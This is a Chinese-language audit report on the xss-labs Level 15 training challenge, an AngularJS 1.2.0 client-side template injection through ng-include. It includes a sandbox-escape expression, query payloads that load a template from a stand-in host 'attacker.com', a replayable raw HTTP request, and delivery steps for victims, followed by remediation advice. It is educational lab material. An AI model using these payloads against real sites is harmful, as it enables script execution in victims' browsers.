xss-labs Level15 代码审计报告
目标文件:
level15.php| 漏洞类型: AngularJS 客户端模板注入(Client-Side Template Injection, CSTI) | CWE: CWE-1336(不正确地注入模板引擎) | 危害等级: 高危(可 RCE 级 JS 执行/内网探测)
风险路径:GET /level15.php?src=<payload>→ng-include指令加载攻击者模板 → Angular 表达式执行
一、漏洞代码定位
level15.php 全文关键部分:
<html ng-app> <!-- L1 Angular 应用根:自动启动 Angular -->
<head>
<script src="angular.min.js"></script> <!-- L4 引入 AngularJS 1.2.0(已确认版本) -->
...
</head>
...
<?php
ini_set("display_errors", 0);
$str = $_GET["src"]; // L18
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>'; // L19 危险:CSTI
?>
漏洞点: L19。用户输入被拼进 AngularJS 指令选择器 ng-include:<value> 中。
二、漏洞原理
- 页面开启了
ng-app,AngularJS 1.2.0 会自动引导编译整个 DOM。 class="ng-include:VALUE"是 AngularJS 对ng-include指令的简写选择器写法,VALUE被当作表达式求值 ——ng-include会以该表达式的值作为 URL,通过 XHR 获取一个远程/本地模板,并交给 Angular 编译渲染。htmlspecialchars()转义后输出的实体('等)会在浏览器 HTML 解析时解码还原,所以攻击者仍可构造合法的ng-include:'...'表达式(单引号进入表达式字符串)。- 一旦
ng-include加载了攻击者控制的模板,模板中的 Angular 表达式{{...}}会被求值执行 —— 借助 Angular 1.x 的沙箱逃逸即可执行任意 JS,属于客户端模板注入。 - 附带影响:
ng-include的 XHR 目标是同源路径,可被用来读取同源文件/页面内容(SSRF 式利用),进一步放大危害。
三、利用方式与 Yakit 可重放数据包
两步利用(需要攻击者准备一个模板文件):
Step 1 — 准备模板(放在攻击者可控位置,或在 Web 根放置攻击者上传的静态文件),内容为 Angular 1.2.0 沙箱逃逸表达式:
{{[].filter.constructor('alert(1)')()}}
([].filter 是函数,constructor 拿到 Function,构造并调用 alert(1)。Angular 1.2.x 沙箱对此类基于数组方法的逃逸防护不足;不同版本逃逸 payload 有差异,需按实际版本调整并实测。)
Step 2 — 让目标页面加载该模板:
?src='//attacker.com/evil.html' # 远程模板
# 或(模板放在同目录)
?src='1.php'
渲染: class="ng-include:'//attacker.com/evil.html'" → Angular 拉取模板 → {{...}} 求值执行 alert(1)。
Yakit 可重放原始请求:
GET /level15.php?src=%27//attacker.com/evil.html%27 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close
触发方式: 攻击者把该 URL 发给受害者(或作为反射型链接);受害者浏览器加载后,Angular 拉取攻击者模板并执行其中表达式 → 弹窗/任意 JS → 命中通关逻辑跳转 level16。
复现注意: 需能访问到攻击者模板(本地可用同目录文件 +
1.php承载模板内容);首次复现建议用浏览器开发者工具观察网络请求确认ng-include的 XHR。
四、修复建议
// 1. 彻底禁止用户输入进入模板指令:src 只允许服务端白名单静态文件名
$allow = ["1.gif", "help.html", "tip.html"];
$src = in_array($_GET["src"], $allow, true) ? $_GET["src"] : "default.html";
echo '<body><span class="ng-include:'.$src.'"></span></body>'; // src 已是白名单值,无需再编码
// 2. 若必须支持动态内容:升级并严格按模板引擎安全实践(把输入当数据,绝不拼进模板源码),
// 对表达式输入做语法级白名单,并禁用 ng-include/ng-bind-html 等危险指令
// 3. 升级 AngularJS:1.x 沙箱已被反复突破(本仓库为 1.2.0),AngularJS 本身 EOL;
// 现代 Angular(2+)不存在同类表达式注入。升级前应彻底移除 ng-include 拼接。
要点:
- CSTI 的根本防护是"输入永远当数据,不当模板代码";对模板指令类输入必须白名单。
- 使用过期且沙箱已知可破的 AngularJS 1.x 属 CWE-1104(使用带已知漏洞的组件),建议升级或替换。
- 配合 CSP
script-src/connect-src收紧,限制模板加载来源。
五、备注
- 已确认
angular.min.js为 AngularJS v1.2.0;1.x 沙箱存在大量公开逃逸,该版本无法依赖沙箱防护。 - 教学中常见解法是
?src=1.php+ 放置含{{...}}的模板文件;真实攻击中则为远程托管模板。 - 审计启示: 前端模板引擎指令如果拼接了用户输入,即是 CSTI,不要被"只做了 htmlspecialchars"误导 —— 实体解码会还原表达式,模板上下文与 HTML 文本上下文不同。